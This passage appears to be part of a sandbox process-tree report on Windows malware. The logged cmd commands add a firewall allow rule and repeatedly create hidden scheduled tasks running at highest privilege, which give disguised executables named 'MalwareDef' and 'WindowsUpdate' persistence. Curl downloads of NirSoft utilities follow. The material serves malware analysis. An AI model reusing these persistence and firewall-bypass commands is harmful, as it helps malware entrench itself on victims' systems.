  PID:1920
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" netsh advfirewall firewall add rule name="oN{Vg2' g{Pjg"" dir=in action=allow program="C:\Windows\Sub\xdwdMalwareDef.exe" enable=yes & exit
    3⤵
    PID:3544
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3656
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
      4⤵
      PID:1068
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:2304
- - C:\Windows\Sub\xdwdMalwareDef.exe
    "C:\Windows\Sub\xdwdMalwareDef.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1248
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:3476
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2640
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3512
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3820
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:492
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3496
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:636
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2116
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2452
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3520
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:1732
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3528
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:380
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2156
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:2892
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:980
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4596
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4584
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2428
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1672
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3380
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1716
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2424
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2792
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:2512
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3456
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:360
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4392
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:4172
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:2440
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:4708
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:2892
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:4992
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:2132
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:4180
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4900
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1360
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:1896
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5016
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:3316
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:360
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:1432
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:1856
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:5720
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:1928
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:1228
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:760
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:5532
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5928
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:5860
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:5464
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:5544
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:5564
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:5832
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5764
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:944
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:3068
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:5148
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:4860
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:5600
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5724
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:5876
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3260
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4740
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2608
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:3396
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4696
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4020
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:704
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:4680
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:4424
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:2488
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:5336
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:2264
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4168
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:2512
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:2872
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:3740
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:5672
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:5076
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5840
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:4928
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:4800
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4688
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1600
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:1040
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:3444
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:6788
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:6832
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:6868
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:6920
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:8020
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8068
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:8084
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:8128
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:8172
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5276
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:5656
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:1608
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:6692
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        
        PID:4540
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:3896
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:7292
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:4076
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6524
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:5420
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7308
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST & exit
      4⤵
      PID:7236
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\xdwdMalwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7260
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      PID:1792
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\xdwdWindowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:7456
- C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe
  "C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip.part https://www.nirsoft.net/utils/recentfilesview.zip
    3⤵
    PID:3500
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip.part https://www.nirsoft.net/utils/executedprogramslist.zip
    3⤵
    PID:2340
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip.part https://www.nirsoft.net/utils/browserdownloadsview.zip
    3⤵
    PID:3148
- - C:\Windows\system32\tar.exe
